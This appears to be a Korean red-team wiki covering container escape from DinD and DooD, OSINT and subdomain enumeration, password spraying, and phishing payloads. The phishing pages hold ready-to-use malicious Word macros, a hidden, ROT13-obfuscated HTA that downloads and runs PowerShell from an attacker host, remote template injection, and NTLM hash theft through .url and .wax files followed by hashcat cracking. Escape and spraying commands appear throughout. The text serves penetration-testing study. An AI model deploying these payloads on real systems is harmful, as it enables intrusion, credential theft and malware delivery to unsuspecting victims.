</code></pre>

## References

{% embed url="<https://tech.kakao.com/posts/484>" %}


# Container Escape


# DinD

DinD(Docker in Docker)는 컨테이너 내부에서 Docker 이미지를 빌드하기 위해 컨테이너 안에서 Docker daemon(dockerd)을 구동하는 구조입니다.

Docker가 공개된 2013년 이전의 CI/CD(대표적으로 Jenkins)는 VM이나 베어메탈에 직접적으로 결과물을 배포했기 때문에 Jenkins 서버에 여러 라이브러리의 버전들이 설치되어야만 했습니다.

<figure><img src="/files/7E26L8XRYpNJid8q512M" alt=""><figcaption><p>Before Docker (~2013)</p></figcaption></figure>

이런 불편함들은 2013년 도커의 등장으로 달라지게 됩니다.

더이상 Jenkins 서버에는 라이브러리를 설치할 필요 없이, 개발자들은 원하는 코드를 이미지로 만들어서 전송한 뒤 Jenkins 서버에서 도커 이미지를 빌드하는 방식으로 변했습니다.

<figure><img src="/files/uVH0fS8gct4bQ0JFxY4q" alt=""><figcaption><p>with Docker (2013~)</p></figcaption></figure>

시간이 더 지나 Jenkins 서버 자체도 컨테이너로 운영할 수 있게되었는데, 기존의 이미지들을 Jenkins 내에서 도커로 빌드하던 방식이 그대로 전이되어 컨테이너 안에서 Docker 데몬을 실행해야 하는 상황이 발생했으며, 이것이 Docker in Docker의 탄생 배경입니다.

<figure><img src="/files/GIExXYLBcxK2kjq1hfFS" alt=""><figcaption><p>Docker in Docker (2015~)</p></figcaption></figure>

Docker 데몬을 통해서 컨테이너를 생성할 때는 namespace, cgroups 등과 같은 호스트 커널에 접근해야 하는 기능을 갖고 있어야해서 외부 컨테이너 빌드 시 `--privileged` 옵션이 반드시 필요합니다.

{% hint style="info" %}
privileged 옵션은 컨테이너에 모든 Capabilities를 부여 및 디바이스 접근 제한을 해제하는 옵션입니다.

과거 UNIX 권한 모델은 사용자가 root 권한을 갖거나 일반 사용자 권한만을 가지는 두 가지 선택지밖에 없었지만, 리눅스 커널 2.2부터는 상세한 권한을 컨트롤 할 수 있는 Capabilities가 도입되었습니다.
{% endhint %}

<pre class="language-bash"><code class="lang-bash"><strong># dind 이미지를 통해 DinD 구현
</strong>docker run --privileged --name dind-container docker:dind
</code></pre>

외부 컨테이너에는 호스트 커널에 접근할 수 있는 권한이 있기 때문에 공격자들은 외부 컨테이너에서 도커 이스케이프(Docker Escape)가 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># Capabilities 권한 확인
</strong>cat /proc/self/status | grep Cap

<strong># 마운트 된 디스크 확인
</strong>lsblk

<strong># 마운트할 디렉토리 생성 후 호스트 디렉토리와 마운트
</strong>mkdir /tmp/sdd
mount -o ro /dev/sdd /tmp/sdd

<strong># 마운트 이후 호스트 파일 획득
</strong>chroot /tmp/sdd /bin/bash
</code></pre>


# DooD

DooD(Docker out of Docker)는 [DinD](/docker-and-kubernetes/container-escape/dind)에서 발생하는 문제를 해결하기 위해 사용되는 기술입니다.

도커 안에서 도커를 생성하는 DinD와 다르게 호스트의 Docker 도구를 사용하여 호스트 위에 다른 도커를 생성하는 방식입니다.

<figure><img src="/files/7feDoW8yrcV1baFeZqNy" alt=""><figcaption><p><a href="https://yjin99.tistory.com/48">https://yjin99.tistory.com/48</a></p></figcaption></figure>

호스트에서 도커와 통신하기 위해서 접근 제어를 위해 데몬 프로세스가 통신을 중개합니다.

도커는 호스트의 특정 파일을 사용할 이유가 거의 없기 때문에 대부분 호스트에서만 소켓 파일(dockerd.sock / containerd.sock)이 있지만, DooD 방식에서는 도커가 호스트의 Docker 도구를 실행하여 호스트 위에 새로운 도커를 생성해야 하기 때문에 소켓 파일이 도커 내에도 있어야 합니다.

이를 위해 DooD 방식을 사용할 경우 소켓 파일을 도커 내에도 마운트 시켜줘야 합니다.

```bash
docker run -it -v /var/run/docker.sock:/var/run/docker.sock docker
```

소켓 파일을 가진 컨테이너는 호스트의 도커에 대한 명령을 할 수 있는 상태이기 때문에 privileged로 설정된 새로운 컨테이너를 생성할 수 있게 됩니다.

{% hint style="info" %}
호스트에 새로운 privileged 컨테이너를 생성한 이후의 공격은 DinD와 동일합니다.
{% endhint %}

## Abuse

{% tabs %}
{% tab title="k8s >= 1.24" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도커 환경 내부에 소켓 파일이 있는지 탐색
</strong>find / -name 'containerd.sock' 2>/dev/null

<strong># 소켓 파일과 통신하기 위해 도구 다운로드
</strong>wget -qO- https://github.com/containerd/containerd/releases/download/v1.7.0/containerd-1.7.0-linux-amd64.tar.gz | tar -xz -C /tmp/

<strong># docker 클라이언트로 privileged가 설정된 컨테이너 생성
</strong>/tmp/bin/ctr -a /run/containerd/containerd.sock -n k8s.io run --mount type=bind,src=/,dst=/hostfs,options=rbind:rw -d docker.io/library/alpine:latest dind

<strong># privileged 컨테이너 진입
</strong>/tmp/bin/ctr -a /run/containerd/containerd.sock -n k8s.io task exec --exec-id shell1 -t dind /bin/sh

<strong># privileged 컨테이너에서 호스트로 탈출
</strong>chroot /hostfs /bin/bash
</code></pre>

{% endtab %}

{% tab title="k8s < 1.24" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도커 환경 내부에 소켓 파일이 있는지 탐색
</strong>find / -name 'docker.sock' 2>/dev/null

<strong># 소켓 파일과 통신하기 위해 도구 다운로드
</strong>wget -q https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz -O- | tar -xz -C /tmp/

<strong># docker 클라이언트로 privileged가 설정된 컨테이너 생성
</strong>/tmp/docker/docker -H unix:///var/run/docker.sock run -dit --privileged --name dood -v /:/hostfs alpine 

<strong># privileged 컨테이너 진입
</strong>/tmp/docker/docker -H unix:///var/run/docker.sock exec -it dood /bin/sh

<strong># privileged 컨테이너에서 호스트로 탈출
</strong>chroot /hostfs /bin/bash
</code></pre>

{% endtab %}
{% endtabs %}


# OSINT


# Sub Domain

자회사를 뿌리에 두고, 다른 분야의 사업을 하는 계열사들이 있듯이 대표적으로 사용하거나 노출하는 도메인 하위에는 다양한 서브 도메인들이 있습니다. 예를 들어 `http://example.com` 을 관리하는 회사에서, 메일과 관련된 서비스를 처리하기 위해서는 `http://mail.example.com` 등으로 메인 도메인 하위에 존재하는 확장 주소입니다.

서브 도메인을 수집하는 방법에는 여러가지가 있지만 이것에 대해서 논하기 이전에 현실적인 부분을 다루겠습니다. 대부분의 기업들은 서로 말하지 않아도 규칙이 비슷한 양상이 있습니다. 예를 들어 `http://example.com` 의 개발 서버는 `http://dev.example.com` 등으로 사용하는 것처럼 말이죠. 모의침투를 진행하면 메인 도메인 서비스에서는 발견되지 않는 초기 침투 발판이 서브 도메인에서 직접적으로 RCE가 가능하다거나, 수집한 크리덴셜 등의 정보로 초기 침투의 발판이 되기도 합니다. 그럼에도 불구하고 기업은 브랜드 통일성과 인지도 등의 이유로 메인 도메인 하위에 확장 주소를 사용합니다. 또한 도메인은 한정적인 자원이기 때문에 도메인을 등록할 때마다 비용이 발생하는 반면, 서브 도메인은 추가 비용 없이 원하는 만큼 만들 수 있으며 DNS 관리도 일괄적으로 용이하다는 이유도 있습니다.

## 외부망

서브 도메인 탐색에 대한 방법론은 여러가지가 있지만, 본 위키에서는 자동/수동적인 방법으로 나눈 후, 자동화된 방법의 방식 중 브루트포스와 정보 수집 방식으로 나누어 기술하겠습니다.

### 자동화된 정보 수집

자동화된 정보 수집은 오픈 소스로 공개되어 있는 도구를 사용하며, 주로 3가지 방식으로 정보를 수집합니다.

1. 자주 사용되는 서브 도메인 주소를 목록화하여 메인 도메인 하위에 붙인 뒤 요청하는 브루트 포스 방식
2. 메인 도메인에 접속하여 자바스크립트나 API 호출 등을 통해서 확인하는 패킷 분석 방식
3. 구글, Bing 등의 검색 엔진을 통해 외부에 노출된 서브 도메인을 탐색

<table><thead><tr><th width="40"></th><th>브루트포스</th><th>정보 수집</th></tr></thead><tbody><tr><td>장점</td><td><ul><li>존재하지 않는 서브 도메인에 대한 요청을 보낼 경우 트래픽이 발생하지 않아 부하가 적음</li><li>공개된 정보가 없더라도 사전 파일을 통핸 서브 도메인 발견이 가능</li></ul></td><td><ul><li>유추가 힘든 도메인도 발견이 용이</li><li>대용량 사전파일을 사용하는 브루트포스 방식에 비해 시간이 짧은 편</li></ul></td></tr><tr><td>단점</td><td><ul><li>사전 파일의 크기에 의존하기 때문에 정보 수집 확률을 높일 수록 시간이 오래 걸림</li><li>사전 파일에 존재하지 않는 서브 도메인은 찾을 수가 없음</li></ul></td><td><ul><li>공개하고 있는 정보가 없다면 서브 도메인을 수집하기 어려움</li></ul></td></tr></tbody></table>

{% tabs %}
{% tab title="Bruteforce" %}

#### dnsrecon

```
# apt 설치
apt install dnsrecon
dnsrecon -t brt -D /usr/share/wordlists/subdomains-10000.txt -d example.com
```

#### knockpy

```
# knockpy 설치
git clone https://github.com/guelfoweb/knock.git
cd knock
pip install . --break-system-packages

python3 knockpy.py -d example.com --recon --bruteforce
```

#### dnsenum

```
dnsenum --dnsserver 10.0.2.10 -enum -p 0 -s 0 -o subdomains.txt -f subdomainList.txt --threads 90 example.com
```

#### dnscan

```
# dnscan 설치
git clone https://github.com/rbsec/dnscan.git
cd dnscan

# 사용
dnscan.py -d example.com -w subdomains-10000.txt
```

{% endtab %}

{% tab title="Recon" %}

#### sublist3r

```
sublist3r -d example.com
```

#### subfinder

```
# subfinder 설치
wget https://github.com/projectdiscovery/subfinder/releases/download/v2.4.8/subfinder_2.4.8_linux_amd64.tar.gz
tar -zxvf subfinder_2.4.8_linux_amd64.tar.gz
mv subfinder /usr/bin/subfinder

subfinder -d example.com
```

{% endtab %}
{% endtabs %}

### 수동적 정보 수집

수동적으로 수집하는 정보는 OSINT를 목적으로 두는 사이트를 이용하여 탐색하는 방법입니다. 필자가 주로사용하는 사이트는 다음과 같습니다.

{% embed url="<https://subdomainfinder.c99.nl/>" %}

{% embed url="<https://dnsdumpster.com/>" %}

다음으로 DNS 서버에 질의를 통해 정보를 수집하는 도구입니다.

#### dig

dig는 DNS 서버의 잘못된 설정을 이용하여 정보 수집할 수 있는 도구입니다. DNS 구조는 아래와 같이 트리 구조로 되어있어 상위 도메인은 하위 도메인들에 대한 정보를 알 수 있습니다.

<figure><img src="/files/ElSoW13F6RlkVqWfEb4N" alt=""><figcaption><p><a href="https://docs.tosspayments.com/resources/glossary/dns">https://docs.tosspayments.com/resources/glossary/dns</a></p></figcaption></figure>

dig axfr 요청은 메인 도메인에 대해서 질의하여 어떤 하위 도메인이 있는지 확인하는 정상적인 정보 요청입니다. 하위 도메인에 대한 정보를 누구에게나 주면 안 되기 때문에 DNS 서버는 이러한 요청을 한 클라이언트의 신원을 파악하여 응답해주지만, 잘못된 설정이 되어있어 인증 과정이 취약하다면 공격자는 DNS 서버에 대한 요청을 통해 해당 메인 도메인 하위에 있는 모든 서브 도메인을 획득할 수 있습니다. DNS 서버 간의 정보 동기화 및 공유를 위해 사용하기 때문에 MS-DRSR과 비슷하며, 이를 악용하는 방식 또한 [DCSync](/data-theft/active-directory/dcsync)와 매우 유사합니다.

```
dig axfr example.com @10.0.2.10
```

dig 명령을 사용할 때 도메인과 네임 서버를 입력해야 하는데, 내부망이라면 NS는 곧 DC가 될 것입니다. 하지만 외부망일 경우 NS를 질의한 뒤, NS의 IPv4 주소를 획득하고, 해당 값들을 플래그로 입력하여 최종적으로 dig를 통해 any, soa, axfr 등의 요청을 전송할 수 있습니다.

```
# 해당 도메인의 네임 서버 수집
dig example.com ns +short
Result > ns1.example.com

# 수집한 네임 서버의 IPv4 주소 수집
nslookup ns1.example.com
Result > 10.0.2.10

# dig를 통한 정보 수집
dig any/soa/axfr @10.0.2.10 example.com
```

#### crt.sh

인증서 투명성은 암호화된 인터넷 연결을 위한 디지털 인증서의 발급을 검증할 수 있도록 하기 위한 절차입니다. RFC 6962는 인증서 발급 기관이 발급한 모든 디지털 인증서에 대해서 감사를 위조할 수 없는 로그에 기록하도록 규정하고 있습니다. 이는 도메인에 대해 허위로 발급된 인증서를 탐지할 수 있도록 하는 장치이며 SSL 인증서 제공 업체는 이 정보를 crt.sh 사이트에 공유하고 새로 추가된 항목을 업데이트하여 접근할 수 있도록 관리합니다.

{% embed url="<https://crt.sh/>" %}

해당 사이트에서 인증서 투명성을 통해 확인하려는 서브 도메인을 GUI로 확인해도 되지만, 필요한 항목만 빠르게 스캔하여 목록화 하기 위해서 CLI 환경에서 다음과 같이 입력합니다.

```
curl -s "https://crt.sh/?q=example.com&output=json" | jq . | grep common_name | tr -d '"' | awk -F ':' '{ptinr $2}' | tr -d ',' | sort | uniq
```

## 내부망

내부망 도메인은 외부망과 달리 검색 등에 의한 결과를 기대하기가 어렵습니다. 내부 자산에 대한 정보가 공공연하게 노출되었거나, 다크웹 등에 떠도는 정보가 있다면 수확이 있겠지만 일반적으로 AD, 내부망 웹 서버 등에서 사용하는 도메인의 경우는 내부에만 노출되기 때문에 외부자 관점에서 정보를 수집할 수 없습니다. 따라서 DNS 프로토콜의 잘못된 설정 등을 이용하여 수집하거나 AD 환경이라면 블러드하운드를 사용하며 내부 웹서버 도메인이 존재한다면 브루트포스 공격을 통해 서브 도메인을 획득할 수 있습니다.

#### ffuf

```
# 웹 서버 도메인에 대한 정상 요청 Content-Length 확인
curl -s -I http://10.0.2.10 -H "Host: example.com" | grep "Content-Length:"

# 확인된 응답 헤더를 제외한 모든 서브 도메인 출력
ffuf -w subdomain.txt:FUZZ -u http://10.0.2.10/ -H "Host:FUZZ.example.com" -fs <Content-Length>
```

## References

{% embed url="<https://olivierkonate.medium.com/subdomain-enumeration-2c6d4c553df4>" %}

{% embed url="<https://www.bugbountyclub.com/blog/view/14>" %}

{% embed url="<https://docs.tosspayments.com/resources/glossary/dns>" %}

{% embed url="<https://jaewoongmoon.wordpress.com/2021/11/10/dns-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%B2%B4%ED%81%AC%ED%95%98%EA%B8%B0-dns-zone-transfer/>" %}


# Google Hacking


# Employees

모의해킹에서는 취약점을 찾으면 해당 취약점을 통한 후속 공격으로 이어가는 경우는 거의 없기 때문에 OSINT를 통한 임직원 정보 수집에 대한 중요성이 부각되지는 않습니다. 반면 레드티밍에서는 외부망 해킹 때 발견되었던 로그인 페이지(로그인은 되지 않았더라도) 등의 정보들을 내부망에서 수집한 정보들과 연계하여 후속 공격을 이어가는 경우가 많기 때문에 임직원 정보는 중요합니다. 특히나 Active Directory와 같이 임직원들의 계정을 도메인 컨트롤러로 관리하는 경우, 대부분의 도메인 계정은 직원의 이름으로 사용되거나 사번/휴대폰 번호 뒷자리/출생년도와 같이 사용됩니다. 때문에 임직원의 실제 이름을 여러개 파악할 수록 다양한 공격에 활용이 가능하며 성공률이 높아집니다.

임직원 이름을 알아내는 방법은 대표적으로 이미 사전에 수집된 정보들을 바탕으로 확인하는 방법과 SNS(링크드인, 티스토리 등)에 노출된 정보들을 수집하는 방법 2가지로 구분할 수 있습니다.

## Email

서브 도메인을 찾을 때 기존에 수집되었던 정보들을 바탕으로 검색하는 사이트들이 있듯이 여러 기업에 존재하는 임직원 이메일 혹은 전화번호 등을 수집하는 사이트들 또한 존재합니다.

{% embed url="<https://app.clodura.ai>" %}

{% embed url="<https://hunter.io/search>" %}

<figure><img src="/files/bvrHIYhoD7klb9ddV9Gd" alt=""><figcaption><p>hunter.io에 검색한 Google 임직원 정보</p></figcaption></figure>

hunter의 경우 이메일 정보가 무료 회원도 열람이 되는 대신, 무료로 열람 가능한 임직원 수 자체가 제한되어 단순히 이메일이 아닌 전체 임직원에 대한 이름을 수집하고자 할 때는 유용한 도구는 아닙니다.

<figure><img src="/files/FXSgEJnMnyAtzRrHLznY" alt=""><figcaption><p>Clodura에 검색한 Google 임직원 정보</p></figcaption></figure>

반면 Clodura의 경우 전체 사용자에 대한 제한적 정보 조회는 가능한 대신 이메일 조회는 유료 회원만 가능합니다. 때문에 내가 수집하고자 하는 정보가 임직원의 이메일 패턴이라면 hunter.io를 통해 수집을 하며,

획득한 사내 메일 패턴을 통해 직접 메일 목록을 만들 때는 Clodura에서 이름을 수집하여 사용할 수 있습니다.

## Github

구글 도킹을 통해 깃허브에 존재하는 회사 프로젝트를 검색한 뒤, 기여자 목록에서 임직원을 찾을 수 있습니다.

<figure><img src="/files/3COXMBXPDGXfD85RI70z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mrdfwNS2sYuXkQVsxm7T" alt=""><figcaption></figcaption></figure>

## Password Spraying

수집한 임직원의 이메일을 통해 해당 이메일이 유효한지에 대한 블라인드 테스트와, 스프레이 공격이 가능합니다. Office 365인 OutLook을 통해 진행하는 유저 정보 열거 공격 도구로는 MailSniper를 사용합니다.

```
# MailSniper 설치
wget https://raw.githubusercontent.com/dafthack/MailSniper/refs/heads/master/MailSniper.ps1 -Outfile MailSniper.ps1

# MailSniper 스크립트 실행 후 모듈 로드
impo .\MailSniper.ps1

# 유저 이메일 목록 열거
Invoke-UsernameHarvestOWA -ExchHostname mail.wiki.com -Domain wiki.com -UserList emailList.txt -Outfile validEmailList.txt

# 유효한 유저 목록 반환 후, 해당 유저에 대해 Password123! 패스워드 스프레이 공격
Invoke-PasswordSprayOWA -ExchHostname mail.wiki.com -UserList validEmailList.txt -Password Password123!
```

해당 공격은 이메일에 대한 보안 정책과 수준에 따라 결과가 다르게 나타나므로 무조건적인 신뢰는 나쁘며

스프레이 공격 또한 2FA, CAPCHA 등의 추가 절차가 있다면 실패한다는 것을 명심해야 합니다.


# 피싱 캠페인


# hta

HTA(HTML Application) 확장자는 웹 페이지에서 사용하는 HTML 언어를 사용하지만, 일반 웹 브라우저가 아니라 Windows에 내장된 mshta.exe로 실행되는 독립 실행형 프로그램입니다.

## Abuse

Office365의 매크로 기능은 APT 그룹이 hta와 같은 파일로 피싱 캠페인을 하는데 사용되는 주요 기능이기 때문에 해당 페이지에서는 Word를 사용하여 진행합니다.

먼저 Word 매크로 실행을 통해 mshta.exe를 통해 C2 서버에 있는 hta 파일을 실행하도록 작성합니다.

<figure><img src="/files/u0E5WLSbeUzOa49mMU1K" alt=""><figcaption></figcaption></figure>

{% code title="Office365 매크로" %}

```
Sub AutoOpen()
    Shell "C:\Windows\System32\mshta.exe http://'<c2-address>'/mal.hta"
End Sub
```

{% endcode %}

이제 해당 문서에서 매크로를 실행하면 C2 서버에 접속하여 mshta.exe로 mal.hta 파일을 실행합니다.

{% hint style="info" %}
매크로 실행을 위해서는 반드시 `매크로 사용 문서` 확장자로 저장해야 합니다.
{% endhint %}

<figure><img src="/files/jFxDi2i3d0Mg0nCZ0b3G" alt=""><figcaption></figcaption></figure>

이제 악성 코드를 심을 hta 파일을 생성합니다.

실제 APT 그룹의 경우, 사용할 파워쉘 명령어를 조각한 뒤 Replace 함수와 Base64 인코딩 등 다양한 기법을 적용하여 솔루션을 우회하지만 본 페이지에서는 기초 예시를 보이기 위해 ROT13을 적용하였습니다.

실습할 경우 encCmd 변수에 ROT13을 적용한 코드를 삽입하면 됩니다.

```html
<!DOCTYPE html>
<html>
<head>
  <HTA:APPLICATION
    ID="SilentHTA"
    APPLICATIONNAME="Silent"
    WINDOWSTATE="invisible"
    SHOWINTASKBAR="no"
    CAPTION="no"
    SYSMENU="no"
    SCROLL="no"
    SINGLEINSTANCE="yes"
  />
<meta http-equiv="x-ua-compatible" content="IE=11" />
<script language="JScript">
	window.resizeTo(0, 0);
	window.moveTo(-2000, -2000);
	document.body.style.display = "none";

    var alph  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    var ranalph = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm";
    var num   = "0123456789";
    var sym   = "/$:;-\\%#*&!. ";

    function scram(s) {
        var r = "";
        for (var i = 0; i < s.length; i++) {
            var found = false;
            for (var j = 0; j < alph.length; j++) {
                if (s.charAt(i) == alph.charAt(j)) {
                    r += ranalph.charAt(j);
                    found = true;
                    break;
                }
            }
            if (!found) {
                r += s.charAt(i);
            }
        }
        return r;
    }
    var shellObj = new ActiveXObject(scram("Jfpevcg.Furyy"));
    var encCmd = "cbjrefuryy.rkr -p \"\"vRk (aRj-bOwRpG aRg.JrOpYvRaG).QbJaYbNqFgEvAt('UgGc://192.168.0.103:1005/erirefr.cf1')\"\"";
    shellObj.Run(scram(encCmd), 0, false);
    setTimeout(function(){ self.close(); }, 1000);
</script>
</head>
<body></body>
</html>
```

## References

{% embed url="<https://www.phrack.me/tools/2022/11/11/HTA-Runner.html>" %}

{% embed url="<https://asec.ahnlab.com/ko/26477/>" %}


# url

url 확장 파일은 텍스트 메타파일로 외부 주소로 접근하는 목적으로 만들

이 확장자는 로컬에 미디어 데이터를 저장하지 않고 저장된 주소로 접속하여 재생하는 방식이기 때문에 공격자 smb 서버로 접속하는 명령도 정상적인 것으로 취급됩니다.

Windows 환경에서 원격 smb 서버에 접속하면 현재 세션으로 ntlm 인증을 수행하기 때문에 공격자는 수신된 챌린지 응답을 크랙할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># url 파일 생성
</strong>[InternetShortcut]
URL=\\'&#x3C;c2-address>'\share

<strong># smb 서버 실행
</strong>impacket-smbserver share . -smb2support

<strong># 탈취한 ntlm 챌린지 응답 크랙
</strong>hashcat -m 5600 -w 4 -a 3 -1 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&#x26;' ?1?1?1?1?1?1?1?1?1?1?1?1 -i --increment-min=4 --increment-max=12 --potfile-path tmp.potfile
</code></pre>

## Reference

{% embed url="<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/forced-coercion/url-file-attack>" %}

{% embed url="<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/>" %}


# wax

wax는 Windows의 미디어 플레이어를 실행하기 위한 미디어 확장 파일입니다.

이 확장자는 로컬에 미디어 데이터를 저장하지 않고 저장된 주소로 접속하여 재생하는 방식이기 때문에 공격자 smb 서버로 접속하는 명령도 정상적인 것으로 취급됩니다.

Windows 환경에서 원격 smb 서버에 접속하면 현재 세션으로 ntlm 인증을 수행하기 때문에 공격자는 수신된 챌린지 응답을 크랙할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># ntlm 강제인증 파일 생성
</strong>git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py -g wax -s '&#x3C;c2-address>' -f ntlmsteal

<strong># smb 서버 실행
</strong>impacket-smbserver share . -smb2support

<strong># 탈취한 ntlm 챌린지 응답 크랙
</strong>hashcat -m 5600 -w 4 -a 3 -1 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&#x26;' ?1?1?1?1?1?1?1?1?1?1?1?1 -i --increment-min=4 --increment-max=12 --potfile-path tmp.potfile
</code></pre>


# Microsoft Word

MS의 Word는 공격자들이 가장 애용하는 피싱 파일 중 하나입니다. 이번 페이지에서는 실제 악성코드를 통한 실습보단, 간단한 코드를 통해 원리를 학습함에 목적을 둡니다.

## Practice

### VBA(Visual Basic for Application)

MS Word를 실행시킨 후 Macro 버튼을 클릭하여 현재 문서에 대한 매크로를 생성합니다. 매크로의 이름은 AutoOpen으로 설정하여 자동으로 실행되게끔 한 뒤, 현재 문서를 등록하여 생성합니다. 이렇게 제작한 매크로는 문서를 실행하자마자 매크로 실행을 묻는 팝업창이 나타납니다.

<figure><img src="/files/KbRWzZguX4PkGUk7N6If" alt=""><figcaption><p>새 문서에 대한 자동 실행 매크로 제작</p></figcaption></figure>

매크로를 생성하면 다음과 같이 매크로 코드를 입력할 수 있는 창이 나타납니다.

<figure><img src="/files/aUSPrvE1HJe1GUEvyaNx" alt=""><figcaption><p>매크로 생성 창</p></figcaption></figure>

아래 코드를 입력 후 실행 버튼을 클릭했을 때, Shell.Run의 인자에 적힌 프로그램인 메모장이 실제로 실행되는 것을 확인할 수 있습니다.

```
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "notepad"

End Sub
```

<figure><img src="/files/C5F4oxyPN8DwkC8YvTC3" alt=""><figcaption><p>매크로에 의해 실행된 메모장</p></figcaption></figure>

매크로 미리보기 실행을 통해서 메모장이 정상적으로 클라이언트 PC에서 실행되는 것을 확인했으니, C2 서버에서 웹 서비스를 실행 후, 해당 서비스에 접근하여 파일을 다운로드 및 실행하는 코드를 삽입합니다.

<figure><img src="/files/3kWSLsgYp6vwGtynRgYu" alt=""><figcaption><p>코발트 스트라이크 파워쉘 코드 생성</p></figcaption></figure>

리스너는 HTTP를 설정 후 실행을 클릭하면 리버스쉘 연결을 시도하는 파워쉘 코드가 생성됩니다. 이어서 생성된 파워쉘 코드를 매크로에서 실행하는 코드의 인자로 전달합니다.

<figure><img src="/files/tWckyksGxoyel8oQaHmq" alt=""><figcaption><p>생성한 파워쉘 코드를 매크로 실행 인자로 전달</p></figcaption></figure>

코드는 macro 디렉토리로 접근했을 때 파일을 다운로드 후 메모리 단에서 실행하는 코드입니다. 매크로 코드창을 종료 후 파일 타입을 `Word 97-2003 문서` 혹은 `Word 97-2003 Document(*.doc)`로 저장합니다.

<figure><img src="/files/zS1KzJz6tBuBsJBjmPKi" alt=""><figcaption></figcaption></figure>

또한 실행중인 코발트 스트라이크 웹 서버에서는 /macro 경로에 접속 요청이 들어왔을 때, 어떤 파일을 호스트에게 전달할 지에 대해서 설정해야 합니다. 현재 피해자 PC에서 C2 웹 서버로 접근 시 파워쉘 원라이너를 실행하여 쉘을 연결하게끔 만들 것이기에 페이로드 타입을 파워쉘로 지정하여 서버를 대기합니다.

<figure><img src="/files/zzdTlPw9mx9MHgmgsdrB" alt=""><figcaption><p>웹 서버의 macro 디렉토리에 파워쉘 코드를 삽입</p></figcaption></figure>

이제 피해자 이메일로 피싱 Word 파일을 전송 후, 클릭하기를 기다리면 됩니다. 피해자 PC에서 파일을 실행 후 코발트 스트라이크 비콘에 해당 PC가 추가된 것을 확인합니다.

<figure><img src="/files/2hCjyI7C5v4cdaHAXM7G" alt=""><figcaption><p>파워쉘 파일 다운 후 비콘에 추가된 피해자 PC</p></figcaption></figure>

### Remote Template Injection

VBA 매크로를 이용한 통신 수립 외에도 템플릿에 악성 코드를 삽입하여 비콘 연결 방법도 존재합니다. MS에서는 템플릿을 기반으로 문서를 제작할 수 있기 때문에 이러한 기능을 악용하는 것입니다. 템플릿은 직접 만들 수도 있고, 인터넷에서 다운로드 할 수도 있기 때문에 만약 악성 코드가 심어진 템플릿을 온라인에서 다운로드 받는다면, 피해자는 본인도 모르게 공격자 C2에 연결을 하게될 수도 있습니다.

먼저 악성 코드 자체를 담을 템플릿 1개와, 해당 템플릿을 통해 생성할 문서 1개를 만들어줍니다. 템플릿 문서에는 공격자 C2로 접근하여 연결 수립 파일을 다운로드 후 실행하는 매크로를 작성 후 저장합니다.

```
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://wiki.com/macro'))"""
End Sub
```

<figure><img src="/files/jV26dqpKsnjpor4zah1r" alt=""><figcaption><p>템플릿 문서 생성</p></figcaption></figure>

템플릿 문서의 파일 형식은 `Word 97-2003 서식 파일` 혹은 `Word 97-2003 Template (*.dot)` 입니다. 악성 매크로가 담긴 템플릿을 생성했으니, 이제 템플릿을 다운로드 할 수 있도록 호스트 파일을 지정합니다.

<figure><img src="/files/YNFgbENgfgocRQqr4qUj" alt=""><figcaption><p>호스트 파일 지정</p></figcaption></figure>

그 다음으로 템플릿을 적용 시킬 report 문서를 생성합니다.

<figure><img src="/files/Tg3dH4WaakVpZjbACMb9" alt=""><figcaption><p>문서 생성</p></figcaption></figure>

문서의 확장자는 `Word 문서` 혹은 `Word Document (*.docx)` 로 생성합니다. docx는 xml 파일의 집합이기 때문에 7zip 등의 압축 프로그램으로 압축 파일을 열어볼 수 있습니다.

<figure><img src="/files/902QVU2lk4B1RC3fhUu9" alt=""><figcaption><p>생성한 문서 압축파일 열기</p></figcaption></figure>

`압축파일 열기 > _rels > settings.xml.rels` 파일을 편집 기능으로 실행합니다.

<figure><img src="/files/7r1VXY2BU9SXCX8u4dR1" alt=""><figcaption><p>settings.xml.rels 파일</p></figcaption></figure>

settings.xml.rels 파일에 있는 Target의 URL을 이전에 열어둔 C2 웹 서버의 템플릿 주소로 지정합니다. 저장 후에는 report.docx 파일을 피해자에게 전송 후 실행하기를 기다립니다.

<figure><img src="/files/cSHcLjg6Nv9pO29xlcn7" alt=""><figcaption></figcaption></figure>

피해자 PC에서 docx 파일을 클릭 시 docx 파일에서 참조하는 <http://wiki.com/template.dot이> 불러와지며 공격자 C2 웹 서버에 있던 template.dot 파일을 다운로드 합니다. 그리고 template.dot 파일에 존재하는 매크로가 실행되며 <http://wiki.com/macro에> 위치하는 파워쉘 스크립트가 실행되며 최종적으로 비콘이 연결된 것을 확인할 수 있습니다.


# Protocols


# 21 - ftp

FTP(File Transfer Protocol)은 네트워크 상으로 파일을 전송하기 위한 프로토콜입니다.

<pre class="language-bash"><code class="lang-bash"><strong># 네트워크 대역 중 FTP 활성화 및 익명 허용 호스트 확인
</strong>nxc ftp '&#x3C;subnet>' -u '' -p ''
</code></pre>


# 22 - ssh

### 시스템 계정 열거

CVE-2018-15473로 인해 OpenSSH 7.7 미만의 버전에서는 서버에 사전 기반의 시스템 계정 열거 공격이 가능합니다.

<pre class="language-bash"><code class="lang-bash"><strong># msfconsole 사용
</strong>msfconsole
use auxiliary/scanner/ssh/ssh_enumusers

<strong># github 사용
</strong>https://github.com/Rhynorater/CVE-2018-15473-Exploit/blob/master/sshUsernameEnumExploit.py
</code></pre>

### 정보 수집

